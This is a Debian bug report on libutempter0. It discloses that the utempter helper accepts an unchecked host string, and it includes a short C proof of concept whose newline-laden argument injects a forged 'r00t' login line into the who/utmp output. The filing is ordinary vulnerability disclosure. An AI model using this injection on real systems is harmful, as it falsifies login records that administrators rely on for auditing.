Bug#689562: /usr/lib/utempter/utempter: Allows fake host setting

[Paul Szabo <paul.szabo@sydney.edu.au>]

Package: libutempter0
Version: 1.1.5-3
Severity: normal
File: /usr/lib/utempter/utempter


Utempter does not (cannot?) verify the setting of host, so it can easily
be faked. This may affect any software that depend on utmp correctness.

Demo of the issue:

psz@bari:~$ cat silly.c
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
int main()
{
  int i;
  i = open("/dev/ptmx", O_RDWR);
  printf("open ptmx returned %d\n", i);
  dup2(i, 0);
  /* dup2(i, 1); */
  printf("doing utempter add\n");
  system("/usr/lib/utempter/utempter add 'xyz)\nr00t     pts/0        Jan  1 01:02 (xyz.com'");
  printf("checking who\n");
  system("who | grep xyz");
  printf("doing utempter del\n");
  system("/usr/lib/utempter/utempter del");
  printf("checking who\n");
  system("who | grep xyz");
  printf("DONE\n");
}
psz@bari:~$ cc silly.c; a.out
open ptmx returned 3
doing utempter add
checking who
psz      pts/29       Oct  4 11:48 (xyz)
r00t     pts/0        Jan  1 01:02 (xyz.com)
doing utempter del
checking who
DONE
psz@bari:~$ 

Please see also:
http://bugs.debian.org/329156
http://bugs.debian.org/330907

Cheers, Paul

Paul Szabo   psz@maths.usyd.edu.au   http://www.maths.usyd.edu.au/u/psz/
School of Mathematics and Statistics   University of Sydney    Australia


-- System Information:
Debian Release: 6.0.6
  APT prefers stable
  APT policy: (500, 'stable')
Architecture: i386 (i686)

Kernel: Linux 3.2.19-pk06.01-i386 (SMP w/8 CPU cores)
Locale: LANG=C, LC_CTYPE=C (charmap=ANSI_X3.4-1968)
Shell: /bin/sh linked to /bin/bash

Versions of packages libutempter0 depends on:
ii  adduser                       3.112+nmu2 add and remove users and groups
ii  libc6                         2.11.3-4   Embedded GNU C Library: Shared lib

libutempter0 recommends no packages.

libutempter0 suggests no packages.

-- no debconf information